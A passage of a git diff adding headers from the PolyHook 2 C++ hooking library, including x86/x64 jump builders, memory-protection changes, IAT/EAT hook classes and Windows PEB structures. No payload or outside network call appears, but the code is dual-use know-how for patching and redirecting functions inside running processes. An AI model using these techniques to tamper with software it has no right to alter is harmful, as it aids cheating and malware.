+#endif //POLYHOOK_2_0_IHOOK_HPP diff --git a/Extern/include/polyhook2/Instruction.hpp b/Extern/include/polyhook2/Instruction.hpp new file mode 100644 index 0000000..b9fa6e3 --- /dev/null +++ b/Extern/include/polyhook2/Instruction.hpp @@ -0,0 +1,409 @@ +// +// Created by steve on 3/25/17. +// + +#ifndef POLYHOOK_2_0_INSTRUCTION_HPP +#define POLYHOOK_2_0_INSTRUCTION_HPP + +#include +#include +#include +#include +#include +#include //ostream operator +#include //setw +#include + +#include "polyhook2/UID.hpp" +#include "polyhook2/Enums.hpp" +namespace PLH { +class Instruction { +public: + union Displacement { + int64_t Relative; + uint64_t Absolute; + }; + + Instruction(uint64_t address, + const Displacement& displacement, + const uint8_t displacementOffset, + const bool isRelative, + const bool isIndirect, + const std::vector& bytes, + const std::string& mnemonic, + const std::string& opStr, + Mode mode) : m_uid(UID::singleton()) { + + Init(address, displacement, displacementOffset, isRelative, isIndirect, bytes, mnemonic, opStr, false, m_uid, mode); + } + + Instruction(uint64_t address, + const Displacement& displacement, + const uint8_t displacementOffset, + const bool isRelative, + const bool isIndirect, + uint8_t bytes[], + const size_t arrLen, + const std::string& mnemonic, + const std::string& opStr, + Mode mode) : m_uid(UID::singleton()) { + + std::vector Arr(bytes, bytes + arrLen); + Init(address, displacement, displacementOffset, isRelative, isIndirect, Arr, mnemonic, opStr, false, m_uid, mode); + } + + Instruction& operator=(const Instruction& rhs) { + Init(rhs.m_address, rhs.m_displacement, rhs.m_dispOffset, rhs.m_isRelative, rhs.m_isIndirect, + rhs.m_bytes, rhs.m_mnemonic, rhs.m_opStr, rhs.m_hasDisplacement, rhs.m_uid, rhs.m_mode); + return *this; + } + + /**Get the address of where the instruction points if it's a branching instruction + * @Notes: Handles eip/rip & immediate branches correctly + * **/ + uint64_t getDestination() const { + uint64_t dest = 0; + if (isDisplacementRelative()) { + dest = m_address + m_displacement.Relative + size(); + } else { + dest = m_displacement.Absolute; + } + + // ff 25 00 00 00 00 goes from jmp qword ptr [rip + 0] to jmp word ptr [rip + 0] on x64 -> x86 + if (m_isIndirect) { + if (m_mode == Mode::x64) { + dest = *(uint64_t*)dest; + } else { + dest = *(uint32_t*)dest; + } + } + return dest; + } + + void setDestination(const uint64_t dest) { + if (!hasDisplacement()) + return; + + if (isDisplacementRelative()) { + int64_t newRelativeDisp = calculateRelativeDisplacement( + getAddress(), + dest, + (uint8_t)size()); + + setRelativeDisplacement(newRelativeDisp); + return; + } + setAbsoluteDisplacement(dest); + } + + /**Get the address of the instruction in memory**/ + uint64_t getAddress() const { + return m_address; + } + + /**Set a new address of the instruction in memory + @Notes: Doesn't move the instruction, marks it for move on writeEncoding and relocates if appropriate**/ + void setAddress(const uint64_t address) { + m_address = address; + } + + /**Get the displacement from current address**/ + Displacement getDisplacement() const { + return m_displacement; + } + + /**Set where in the instruction bytes the offset is encoded**/ + void setDisplacementOffset(const uint8_t offset) { + m_dispOffset = offset; + } + + void setBranching(const bool status) { + m_isBranching = status; + } + + /**Get the offset into the instruction bytes where displacement is encoded**/ + uint8_t getDisplacementOffset() const { + return m_dispOffset; + } + + /**Check if displacement is relative to eip/rip**/ + bool isDisplacementRelative() const { + return m_isRelative; + } + + /**Check if the instruction is a type with valid displacement**/ + bool hasDisplacement() const { + return m_hasDisplacement; + } + + bool isBranching() const { + if (m_isBranching && m_isRelative) { + if (!m_hasDisplacement) { + __debugbreak(); + assert(m_hasDisplacement); + } + } + return m_isBranching; + } + + const std::vector& getBytes() const { + return m_bytes; + } + + /**Get short symbol name of instruction**/ + std::string getMnemonic() const { + return m_mnemonic; + } + + /**Get symbol name and parameters**/ + std::string getFullName() const { + return m_mnemonic + " " + m_opStr; + } + + size_t getDispSize() { + // jmp (e9 eb be ad de) = 5 bytes, 1 disp off, 4 disp sz + return size() - getDisplacementOffset(); + } + + size_t size() const { + return m_bytes.size(); + } + + void setRelativeDisplacement(const int64_t displacement) { + /**Update our class' book-keeping of this stuff and then modify the byte array. + * This doesn't actually write the changes to the executeable code, it writes to our + * copy of the bytes**/ + m_displacement.Relative = displacement; + m_isRelative = true; + m_hasDisplacement = true; + + const uint32_t dispSz = (uint32_t)(size() - getDisplacementOffset()); + if (((uint32_t)getDisplacementOffset()) + dispSz > m_bytes.size() || dispSz > sizeof(m_displacement.Relative)) { + __debugbreak(); + return; + } + + assert((uint32_t)getDisplacementOffset() + dispSz <= m_bytes.size() && dispSz <= sizeof(m_displacement.Relative)); + std::memcpy(&m_bytes[getDisplacementOffset()], &m_displacement.Relative, dispSz); + } + + void setAbsoluteDisplacement(const uint64_t displacement) { + /**Update our class' book-keeping of this stuff and then modify the byte array. + * This doesn't actually write the changes to the executeable code, it writes to our + * copy of the bytes**/ + m_displacement.Absolute = displacement; + m_isRelative = false; + m_hasDisplacement = true; + + const uint32_t dispSz = (uint32_t)(size() - getDisplacementOffset()); + if (((uint32_t)getDisplacementOffset()) + dispSz > m_bytes.size() || dispSz > sizeof(m_displacement.Absolute)) { + __debugbreak(); + return; + } + + assert(((uint32_t)getDisplacementOffset()) + dispSz <= m_bytes.size() && dispSz <= sizeof(m_displacement.Absolute)); + std::memcpy(&m_bytes[getDisplacementOffset()], &m_displacement.Absolute, dispSz); + } + + long getUID() const { + return m_uid.val; + } + + template + static T calculateRelativeDisplacement(uint64_t from, uint64_t to, uint8_t insSize) { + if (to < from) + return (T)(0 - (from - to) - insSize); + return (T)(to - (from + insSize)); + } + + void setIndirect(const bool isIndirect) { + m_isIndirect = isIndirect; + } + + bool m_isRelative; // Does the displacement need to be added to the address to retrieve where it points too? + bool m_hasDisplacement; // Does this instruction have the displacement fields filled (only rip/eip relative types are filled) + bool m_isBranching; // Does this instrunction jmp/call or otherwise change control flow + bool m_isIndirect; // Does this instruction get it's destination via an indirect mem read (ff 25 ... jmp [jmp_dest]) (only filled for jmps / calls) +private: + void Init(const uint64_t address, + const Displacement& displacement, + const uint8_t displacementOffset, + const bool isRelative, + const bool isIndirect, + const std::vector& bytes, + const std::string& mnemonic, + const std::string& opStr, + const bool hasDisp, + const UID id, + Mode mode) { + m_address = address; + m_displacement = displacement; + m_dispOffset = displacementOffset; + m_isRelative = isRelative; + m_isIndirect = isIndirect; + m_hasDisplacement = hasDisp; + + m_bytes = bytes; + m_mnemonic = mnemonic; + m_opStr = opStr; + + m_uid = id; + m_mode = mode; + } + + uint64_t m_address; // Address the instruction is at + Displacement m_displacement; // Where an instruction points too (valid for jmp + call types) + uint8_t m_dispOffset; // Offset into the byte array where displacement is encoded + + std::vector m_bytes; //All the raw bytes of this instruction + std::string m_mnemonic; //If you don't know what these two are then gtfo of this source code :) + std::string m_opStr; + + Mode m_mode; + + UID m_uid; +}; + +inline bool operator==(const Instruction& lhs, const Instruction& rhs) { + return lhs.getUID() == rhs.getUID(); +} + + +inline std::ostream& operator<<(std::ostream& os, const PLH::Instruction& obj) { + std::stringstream byteStream; + for (std::size_t i = 0; i < obj.size(); i++) + byteStream << std::hex << std::setfill('0') << std::setw(2) << (unsigned)obj.getBytes()[i] << " "; + + os << std::hex << obj.getAddress() << " [" << obj.size() << "]: "; + os << std::setfill(' ') << std::setw(30) << std::left << byteStream.str(); + os << obj.getFullName(); + + if (obj.hasDisplacement() && obj.isDisplacementRelative()) + os << " -> " << obj.getDestination(); + os << std::dec; + return os; +} + +typedef std::vector insts_t; + +inline uint16_t calcInstsSz(const insts_t& insts) { + uint16_t sz = 0; + for (const auto& ins : insts) + sz += (uint16_t)ins.size(); + return sz; +} + +template +std::string instsToStr(const T& container) { + std::stringstream ss; + printInsts(ss, container); + return ss.str(); +} + +template +inline std::ostream& printInsts(std::ostream& out, const T& container) { + for (auto ii = container.cbegin(); ii != container.cend(); ++ii) { + out << *ii << std::endl; + } + return out; +} + +inline std::ostream& operator<<(std::ostream& os, const std::vector& v) { return printInsts(os, v); } +//std::ostream& operator<<(std::ostream& os, const std::deque& v) { return printInsts(os, v); } +//std::ostream& operator<<(std::ostream& os, const std::list& v) { return printInsts(os, v); } +//std::ostream& operator<<(std::ostream& os, const std::set& v) { return printInsts(os, v); } +//std::ostream& operator<<(std::ostream& os, const std::multiset& v) { return printInsts(os, v); } + + +/**Write a 25 byte absolute jump. This is preferred since it doesn't require an indirect memory holder. + * We first sub rsp by 128 bytes to avoid the red-zone stack space. This is specific to unix only afaik.**/ +inline PLH::insts_t makex64PreferredJump(const uint64_t address, const uint64_t destination) { + PLH::Instruction::Displacement zeroDisp = { 0 }; + uint64_t curInstAddress = address; + + std::vector raxBytes = { 0x50 }; + Instruction pushRax(curInstAddress, + zeroDisp, + 0, + false, + false, + raxBytes, + "push", + "rax", Mode::x64); + curInstAddress += pushRax.size(); + + std::stringstream ss; + ss << std::hex << destination; + + std::vector movRaxBytes; + movRaxBytes.resize(10); + movRaxBytes[0] = 0x48; + movRaxBytes[1] = 0xB8; + memcpy(&movRaxBytes[2], &destination, 8); + + Instruction movRax(curInstAddress, zeroDisp, 0, false, false, + movRaxBytes, "mov", "rax, " + ss.str(), Mode::x64); + curInstAddress += movRax.size(); + + std::vector xchgBytes = { 0x48, 0x87, 0x04, 0x24 }; + Instruction xchgRspRax(curInstAddress, zeroDisp, 0, false, false, + xchgBytes, "xchg", "QWORD PTR [rsp],rax", Mode::x64); + curInstAddress += xchgRspRax.size(); + + std::vector retBytes = { 0xC3 }; + Instruction ret(curInstAddress, zeroDisp, 0, false, false, + retBytes, "ret", "", Mode::x64); + curInstAddress += ret.size(); + + return { pushRax, movRax, xchgRspRax, ret }; +} + +/**Write an indirect style 6byte jump. Address is where the jmp instruction will be located, and + * destHoldershould point to the memory location that *CONTAINS* the address to be jumped to. + * Destination should be the value that is written into destHolder, and be the address of where + * the jmp should land.**/ +inline PLH::insts_t makex64MinimumJump(const uint64_t address, const uint64_t destination, const uint64_t destHolder) { + PLH::Instruction::Displacement disp = { 0 }; + disp.Relative = PLH::Instruction::calculateRelativeDisplacement(address, destHolder, 6); + + std::vector destBytes; + destBytes.resize(8); + memcpy(destBytes.data(), &destination, 8); + Instruction specialDest(destHolder, disp, 0, false, false, destBytes, "dest holder", "", Mode::x64); + + std::vector bytes; + bytes.resize(6); + bytes[0] = 0xFF; + bytes[1] = 0x25; + memcpy(&bytes[2], &disp.Relative, 4); + + std::stringstream ss; + ss << std::hex << "[" << destHolder << "] ->" << destination; + + return { Instruction(address, disp, 2, true, true, bytes, "jmp", ss.str(), Mode::x64), specialDest }; +} + +inline PLH::insts_t makex86Jmp(const uint64_t address, const uint64_t destination) { + Instruction::Displacement disp; + disp.Relative = Instruction::calculateRelativeDisplacement(address, destination, 5); + + std::vector bytes(5); + bytes[0] = 0xE9; + memcpy(&bytes[1], &disp.Relative, 4); + + std::stringstream ss; + ss << std::hex << destination; + + return { Instruction(address, disp, 1, true, false, bytes, "jmp", ss.str(), Mode::x86) }; +} + + +inline PLH::insts_t makeAgnosticJmp(const uint64_t address, const uint64_t destination) { + if constexpr (sizeof(char*) == 4) + return makex86Jmp(address, destination); + else + return makex64PreferredJump(address, destination); +} + +} +#endif //POLYHOOK_2_0_INSTRUCTION_HPP diff --git a/Extern/include/polyhook2/MemAccessor.hpp b/Extern/include/polyhook2/MemAccessor.hpp new file mode 100644 index 0000000..f64098c --- /dev/null +++ b/Extern/include/polyhook2/MemAccessor.hpp @@ -0,0 +1,39 @@ + +#ifndef POLYHOOK_2_MEMORYACCESSOR_HPP +#define POLYHOOK_2_MEMORYACCESSOR_HPP +#include +#include +#include "polyhook2/Enums.hpp" + +namespace PLH { + /** + Overriding these routines can allow cross-process/cross-arch hooks + **/ + class MemAccessor { + public: + virtual ~MemAccessor() = default; + + /** + Defines a memory read/write routine that may fail ungracefully. It's expected + this library will only ever use this routine in cases that are expected to succeed. + **/ + virtual bool mem_copy(uint64_t dest, uint64_t src, uint64_t size) const; + + /** + Defines a memory write routine that will not throw exceptions, and can handle potential + writes to NO_ACCESS or otherwise innaccessible memory pages. Defaults to writeprocessmemory. + Must fail gracefully + **/ + virtual bool safe_mem_write(uint64_t dest, uint64_t src, uint64_t size, size_t& written) const noexcept; + + /** + Defines a memory read routine that will not throw exceptions, and can handle potential + reads from NO_ACCESS or otherwise innaccessible memory pages. Defaults to readprocessmemory. + Must fail gracefully + **/ + virtual bool safe_mem_read(uint64_t src, uint64_t dest, uint64_t size, size_t& read) const noexcept; + + virtual PLH::ProtFlag mem_protect(uint64_t dest, uint64_t size, PLH::ProtFlag newProtection, bool& status) const; + }; +} +#endif \ No newline at end of file diff --git a/Extern/include/polyhook2/MemProtector.hpp b/Extern/include/polyhook2/MemProtector.hpp new file mode 100644 index 0000000..c044bb6 --- /dev/null +++ b/Extern/include/polyhook2/MemProtector.hpp @@ -0,0 +1,65 @@ +// +// Created by steve on 7/10/17. +// + +#ifndef POLYHOOK_2_MEMORYPROTECTOR_HPP +#define POLYHOOK_2_MEMORYPROTECTOR_HPP + +#include "polyhook2/MemAccessor.hpp" +#include "polyhook2/Enums.hpp" +#ifndef WIN32_LEAN_AND_MEAN +#define WIN32_LEAN_AND_MEAN +#endif +#ifndef NOMINMAX +#define NOMINMAX +#endif +#include +#include + +PLH::ProtFlag operator|(PLH::ProtFlag lhs, PLH::ProtFlag rhs); +bool operator&(PLH::ProtFlag lhs, PLH::ProtFlag rhs); +std::ostream& operator<<(std::ostream& os, const PLH::ProtFlag v); + +// prefer enum class over enum +#pragma warning( disable : 26812) + +namespace PLH { +int TranslateProtection(const PLH::ProtFlag flags); +ProtFlag TranslateProtection(const int prot); + +class MemoryProtector { +public: + MemoryProtector(const uint64_t address, const uint64_t length, const PLH::ProtFlag prot, MemAccessor& accessor, bool unsetOnDestroy = true) : m_accessor(accessor) { + m_address = address; + m_length = length; + unsetLater = unsetOnDestroy; + + m_origProtection = PLH::ProtFlag::UNSET; + m_origProtection = m_accessor.mem_protect(address, length, prot, status); + } + + PLH::ProtFlag originalProt() { + return m_origProtection; + } + + bool isGood() { + return status; + } + + ~MemoryProtector() { + if (m_origProtection == PLH::ProtFlag::UNSET || !unsetLater) + return; + + m_accessor.mem_protect(m_address, m_length, m_origProtection, status); + } +private: + PLH::ProtFlag m_origProtection; + MemAccessor& m_accessor; + + uint64_t m_address; + uint64_t m_length; + bool status; + bool unsetLater; +}; +} +#endif //POLYHOOK_2_MEMORYPROTECTOR_HPP diff --git a/Extern/include/polyhook2/Misc.hpp b/Extern/include/polyhook2/Misc.hpp new file mode 100644 index 0000000..8c175ab --- /dev/null +++ b/Extern/include/polyhook2/Misc.hpp @@ -0,0 +1,182 @@ +// +// Created by steve on 4/6/17. +// + +#ifndef POLYHOOK_2_0_MISC_HPP +#define POLYHOOK_2_0_MISC_HPP + +#include +#include +#include +#include +#include +#include + +namespace PLH { + +enum class Platform { + WIN, + UNIX +}; + +class NotImplementedException : public std::logic_error { +public: + NotImplementedException() : std::logic_error("Function not implemented") { + + } +}; + +class ValueNotSetException : public std::logic_error { +public: + ValueNotSetException() : std::logic_error("Value not set in optional object") { + + } +}; + +class AllocationFailure : public std::logic_error { +public: + AllocationFailure() : std::logic_error("Unable to allocate memory within range") { + + } +}; + +//http://stackoverflow.com/questions/4840410/how-to-align-a-pointer-in-c +static inline char* AlignUpwards(const char* stack, size_t align) { + assert(align > 0 && (align & (align - 1)) == 0); /* Power of 2 */ + assert(stack != 0); + + auto addr = reinterpret_cast(stack); + if (addr % align != 0) + addr += align - addr % align; + assert(addr >= reinterpret_cast(stack)); + return reinterpret_cast(addr); +} + +static inline char* AlignDownwards(const char* stack, size_t align) { + assert(align > 0 && (align & (align - 1)) == 0); /* Power of 2 */ + assert(stack != 0); + + auto addr = reinterpret_cast(stack); + addr -= addr % align; + assert(addr <= reinterpret_cast(stack)); + return reinterpret_cast(addr); +} + +template +class FinalAction { +public: + FinalAction(Func f) :FinalActionFunc(std::move(f)) {} + ~FinalAction() { + FinalActionFunc(); + } +private: + Func FinalActionFunc; + + /*Uses RAII to call a final function on destruction + C++ 11 version of java's finally (kindof)*/ +}; + +template +static inline FinalAction finally(F f) { + return FinalAction(f); +} + +//Credit to Dogmatt on unknowncheats.me for IsValidPtr +// and https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/virtual-address-spaces +#ifdef _WIN64 +#define _PTR_MAX_VALUE ((void*)0x000F000000000000) +#else +#define _PTR_MAX_VALUE ((void*)0xFFF00000) +#endif + +inline bool IsValidPtr(void* p) { return (p >= (void*)0x10000) && (p < _PTR_MAX_VALUE) && p != nullptr; } + +// wtf this should be standard (stole from glibc & stackoverflow) +inline int my_narrow_stricmp(const char *a, const char *b) { + int ca, cb; + do { + ca = (unsigned char)*a++; + cb = (unsigned char)*b++; + ca = tolower(toupper(ca)); + cb = tolower(toupper(cb)); + } while (ca == cb && ca != '\0'); + return ca - cb; +} + +inline int my_wide_stricmp(const wchar_t *a, const wchar_t *b) { + wint_t ca, cb; + do { + ca = (wint_t)*a++; + cb = (wint_t)*b++; + ca = towlower(towupper(ca)); + cb = towlower(towupper(cb)); + } while (ca == cb && ca != L'\0'); + return ca - cb; +} + +struct ci_wchar_traits : public std::char_traits { + static bool eq(wchar_t c1, wchar_t c2) { return towupper(c1) == towupper(c2); } + static bool ne(wchar_t c1, wchar_t c2) { return towupper(c1) != towupper(c2); } + static bool lt(wchar_t c1, wchar_t c2) { return towupper(c1) < towupper(c2); } + static int compare(const wchar_t* s1, const wchar_t* s2, size_t n) { + while (n-- != 0) { + if (towupper(*s1) < towupper(*s2)) return -1; + if (towupper(*s1) > towupper(*s2)) return 1; + ++s1; ++s2; + } + return 0; + } + static const wchar_t* find(const wchar_t* s, int n, wchar_t a) { + while (n-- > 0 && towupper(*s) != towupper(a)) { + ++s; + } + return s; + } +}; + +inline bool isMatch(const char* addr, const char* pat, const char* msk) +{ + size_t n = 0; + while (addr[n] == pat[n] || msk[n] == (uint8_t)'?') { + if (!msk[++n]) { + return true; + } + } + return false; +} + +#define INRANGE(x,a,b) (x >= a && x <= b) +#define getBits( x ) (INRANGE(x,'0','9') ? (x - '0') : ((x&(~0x20)) - 'A' + 0xa)) +#define getByte( x ) (getBits(x[0]) << 4 | getBits(x[1])) + +// https://github.com/learn-more/findpattern-bench/blob/master/patterns/learn_more.h +// must use space between bytes and ?? for wildcards. Do not add 0x prefix +uint64_t findPattern(const uint64_t rangeStart, size_t len, const char* pattern); +uint64_t findPattern_rev(const uint64_t rangeStart, size_t len, const char* pattern); + +inline std::string repeat_n(std::string s, size_t n, std::string delim = "") { + std::string out = ""; + for (size_t i = 0; i < n; i++) { + out += s; + if (i != n - 1) { + out += delim; + } + } + return out; +} + +using ci_wstring = std::basic_string; +using ci_wstring_view = std::basic_string_view; + +template< typename T > +std::string int_to_hex(T i) +{ + std::stringstream stream; + stream << "0x" + << std::setfill('0') << std::setw(sizeof(T) * 2) + << std::hex << i; + return stream.str(); +} + +} +#endif //POLYHOOK_2_0_MISC_HPP diff --git a/Extern/include/polyhook2/PE/EatHook.hpp b/Extern/include/polyhook2/PE/EatHook.hpp new file mode 100644 index 0000000..b06624c --- /dev/null +++ b/Extern/include/polyhook2/PE/EatHook.hpp @@ -0,0 +1,54 @@ +//https://github.com/odzhan/shellcode/blob/master/os/win/getapi/dynamic/getapi.c +//https://modexp.wordpress.com/2017/01/15/shellcode-resolving-api-addresses/ +#include +#include +#include + +#include "polyhook2/ErrorLog.hpp" +#include "polyhook2/IHook.hpp" +#include "polyhook2/MemProtector.hpp" +#include "polyhook2/Misc.hpp" +#include "polyhook2/PE/PEB.hpp" +#include "polyhook2/ADisassembler.hpp" +#include "polyhook2/PageAllocator.hpp" + +#define RVA2VA(type, base, rva) (type)((ULONG_PTR) base + rva) + +namespace PLH { +class EatHook : public IHook { +public: + EatHook(const std::string& apiName, const std::wstring& moduleName, const char* fnCallback, uint64_t* userOrigVar); + EatHook(const std::string& apiName, const std::wstring& moduleName, const uint64_t fnCallback, uint64_t* userOrigVar); + virtual ~EatHook() { + // trampoline freed by pageallocator dtor + if (m_allocator != nullptr) { + delete m_allocator; + m_allocator = nullptr; + } + } + + virtual bool hook() override; + virtual bool unHook() override; + + virtual HookType getType() const override { + return HookType::EAT; + } +private: + const uint16_t m_trampolineSize = 32; + uint32_t* FindEatFunction(const std::string& apiName, const std::wstring& moduleName = L""); + uint32_t* FindEatFunctionInModule(const std::string& apiName); + + std::wstring m_moduleName; + std::string m_apiName; + + uint64_t m_fnCallback; + uint64_t m_origFunc; + uint64_t* m_userOrigVar; + + // only used if EAT offset points >= 2GB + PageAllocator* m_allocator; + uint64_t m_trampoline; + + uint64_t m_moduleBase; +}; +} \ No newline at end of file diff --git a/Extern/include/polyhook2/PE/IatHook.hpp b/Extern/include/polyhook2/PE/IatHook.hpp new file mode 100644 index 0000000..d914dee --- /dev/null +++ b/Extern/include/polyhook2/PE/IatHook.hpp @@ -0,0 +1,43 @@ +//https://github.com/odzhan/shellcode/blob/master/os/win/getapi/dynamic/getapi.c +//https://modexp.wordpress.com/2017/01/15/shellcode-resolving-api-addresses/ +#include +#include +#include + +#include "polyhook2/ErrorLog.hpp" +#include "polyhook2/IHook.hpp" +#include "polyhook2/MemProtector.hpp" +#include "polyhook2/Misc.hpp" +#include "polyhook2/PE/PEB.hpp" + +#define RVA2VA(type, base, rva) (type)((ULONG_PTR) base + rva) + +namespace PLH { +class IatHook : public IHook { +public: + IatHook(const std::string& dllName, const std::string& apiName, const char* fnCallback, uint64_t* userOrigVar, const std::wstring& moduleName); + IatHook(const std::string& dllName, const std::string& apiName, const uint64_t fnCallback, uint64_t* userOrigVar, const std::wstring& moduleName); + virtual ~IatHook() { + if (m_hooked) { + unHook(); + } + } + + virtual bool hook() override; + virtual bool unHook() override; + virtual HookType getType() const override { + return HookType::IAT; + } +private: + IMAGE_THUNK_DATA* FindIatThunk(const std::string& dllName, const std::string& apiName, const std::wstring moduleName = L""); + IMAGE_THUNK_DATA* FindIatThunkInModule(void* moduleBase, const std::string& dllName, const std::string& apiName); + + std::string m_dllName; + std::string m_apiName; + std::wstring m_moduleName; + + uint64_t m_fnCallback; + uint64_t m_origFunc; + uint64_t* m_userOrigVar; +}; +} \ No newline at end of file diff --git a/Extern/include/polyhook2/PE/PEB.hpp b/Extern/include/polyhook2/PE/PEB.hpp new file mode 100644 index 0000000..0958ed4 --- /dev/null +++ b/Extern/include/polyhook2/PE/PEB.hpp @@ -0,0 +1,157 @@ +/**This file is the minimal windows header crap needed for IAT things. Windows sucks, pollutes global namespace**/ + +#ifndef POLYHOOK_2_0_PEB_HPP +#define POLYHOOK_2_0_PEB_HPP + +// copied from windows.h minwindef failes with No Target Architecture without +#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && defined(_M_IX86) +#define _X86_ +#endif + +#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && defined(_M_AMD64) +#define _AMD64_ +#endif + +#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && defined(_M_M68K) +#define _68K_ +#endif + +#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && defined(_M_MPPC) +#define _MPPC_ +#endif + +#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_M_IX86) && !defined(_AMD64_) && defined(_M_IA64) +#if !defined(_IA64_) +#define _IA64_ +#endif /* !_IA64_ */ +#endif + +#define NOMINMAX +#ifndef WIN32_LEAN_AND_MEAN +#define WIN32_LEAN_AND_MEAN +#endif +#ifndef NOMINMAX +#define NOMINMAX +#endif +#include +typedef void *PPS_POST_PROCESS_INIT_ROUTINE; + +typedef struct _LSA_UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING; + +typedef struct _RTL_USER_PROCESS_PARAMETERS { + BYTE Reserved1[16]; + PVOID Reserved2[10]; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; +} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; + +// PEB defined by rewolf +// http://blog.rewolf.pl/blog/?p=573 +typedef struct _PEB_LDR_DATA { + ULONG Length; + BOOL Initialized; + LPVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; +} PEB_LDR_DATA, *PPEB_LDR_DATA; + +typedef struct _LDR_DATA_TABLE_ENTRY { + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + LPVOID DllBase; + LPVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + +typedef struct _PEB { + BYTE InheritedAddressSpace; + BYTE ReadImageFileExecOptions; + BYTE BeingDebugged; + BYTE _SYSTEM_DEPENDENT_01; + + LPVOID Mutant; + LPVOID ImageBaseAddress; + + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + LPVOID SubSystemData; + LPVOID ProcessHeap; + LPVOID FastPebLock; + LPVOID _SYSTEM_DEPENDENT_02; + LPVOID _SYSTEM_DEPENDENT_03; + LPVOID _SYSTEM_DEPENDENT_04; + union { + LPVOID KernelCallbackTable; + LPVOID UserSharedInfoPtr; + }; + DWORD SystemReserved; + DWORD _SYSTEM_DEPENDENT_05; + LPVOID _SYSTEM_DEPENDENT_06; + LPVOID TlsExpansionCounter; + LPVOID TlsBitmap; + DWORD TlsBitmapBits[2]; + LPVOID ReadOnlySharedMemoryBase; + LPVOID _SYSTEM_DEPENDENT_07; + LPVOID ReadOnlyStaticServerData; + LPVOID AnsiCodePageData; + LPVOID OemCodePageData; + LPVOID UnicodeCaseTableData; + DWORD NumberOfProcessors; + union { + DWORD NtGlobalFlag; + LPVOID dummy02; + }; + LARGE_INTEGER CriticalSectionTimeout; + LPVOID HeapSegmentReserve; + LPVOID HeapSegmentCommit; + LPVOID HeapDeCommitTotalFreeThreshold; + LPVOID HeapDeCommitFreeBlockThreshold; + DWORD NumberOfHeaps; + DWORD MaximumNumberOfHeaps; + LPVOID ProcessHeaps; + LPVOID GdiSharedHandleTable; + LPVOID ProcessStarterHelper; + LPVOID GdiDCAttributeList; + LPVOID LoaderLock; + DWORD OSMajorVersion; + DWORD OSMinorVersion; + WORD OSBuildNumber; + WORD OSCSDVersion; + DWORD OSPlatformId; + DWORD ImageSubsystem; + DWORD ImageSubsystemMajorVersion; + LPVOID ImageSubsystemMinorVersion; + union { + LPVOID ImageProcessAffinityMask; + LPVOID ActiveProcessAffinityMask; + }; +#ifdef _WIN64 + LPVOID GdiHandleBuffer[64]; +#else + LPVOID GdiHandleBuffer[32]; +#endif + LPVOID PostProcessInitRoutine; + LPVOID TlsExpansionBitmap; + DWORD TlsExpansionBitmapBits[32]; + LPVOID SessionId; + ULARGE_INTEGER AppCompatFlags; + ULARGE_INTEGER AppCompatFlagsUser; + LPVOID pShimData; + LPVOID AppCompatInfo; + PUNICODE_STRING CSDVersion; + LPVOID ActivationContextData; + LPVOID ProcessAssemblyStorageMap; + LPVOID SystemDefaultActivationContextData; + LPVOID SystemAssemblyStorageMap; + LPVOID MinimumStackCommit; +} PEB, *PPEB; + +#endif //POLYHOOK_2_0_PEB_HPP diff --git a/Extern/include/polyhook2/PageAllocator.hpp b/Extern/include/polyhook2/PageAllocator.hpp new file mode 100644 index 0000000..7dbe21b --- /dev/null +++ b/Extern/include/polyhook2/PageAllocator.hpp @@ -0,0 +1,129 @@ +#ifndef POLYHOOK_2_PAGEALLOCATOR_HPP +#define POLYHOOK_2_PAGEALLOCATOR_HPP + +#include "polyhook2/Misc.hpp" +#include +#include +#include +#include +#include +#define NOMINMAX +#ifndef WIN32_LEAN_AND_MEAN +#define WIN32_LEAN_AND_MEAN +#endif +#ifndef NOMINMAX +#define NOMINMAX +#endif +#include + +namespace PLH { + + /** Given some starting address and some excusive range allocate and return memory + pages within that section in linearly increasing order, with each new block being contiguously + allocated from the next free spot. Blocks are requested by variable size, and pages are allocated + within the allowed range to back these if needed. A page will be split if blocks smaller than page size + are requested. Blocks however will never be split across a page. Blocks cannot be freed once requested, + you must destroy the entire allocator which will free all backing pages, and thus all blocks, + this is cuz im lazy, i accept pr's :)**/ + struct SplitPage { + // start address of page + uint64_t address; + + // offset into page pointing at first unused byte + uint64_t unusedOffset; + + uint64_t getUnusedAddr() const { + return address + unusedOffset; + } + }; + + class PageAllocator { + public: + /** Construct an allocator to return pages within [address, address + size). + If size is zero, then it will try to allocate anywhere**/ + PageAllocator(const uint64_t address, const uint64_t size); + ~PageAllocator(); + + uint64_t getBlock(const uint64_t size); + private: + const uint64_t WIN_PAGE_SZ = 0x1000; + + uint64_t m_regionStart; + uint64_t m_regionSize; + + // vector of pages + unused cursor + static std::vector m_pages; + static std::recursive_mutex m_pageMtx; + static std::atomic m_refCount; + }; + + inline uint64_t AllocateWithinRange(uint64_t pStart, int64_t Delta); +} + +inline uint64_t PLH::AllocateWithinRange(const uint64_t pStart, const int64_t Delta) { + /** + If WIN >= 2004 this can be simplified by using: + MEM_ADDRESS_REQUIREMENTS addressReqs = { 0 }; + MEM_EXTENDED_PARAMETER extendedParams = { 0 }; + extendedParams.Type = MemExtendedParameterAddressRequirements; + extendedParams.Pointer = &addressReqs; + + addressReqs.LowestStartingAddress = + addressReqs.HighestEndingAddress = + + 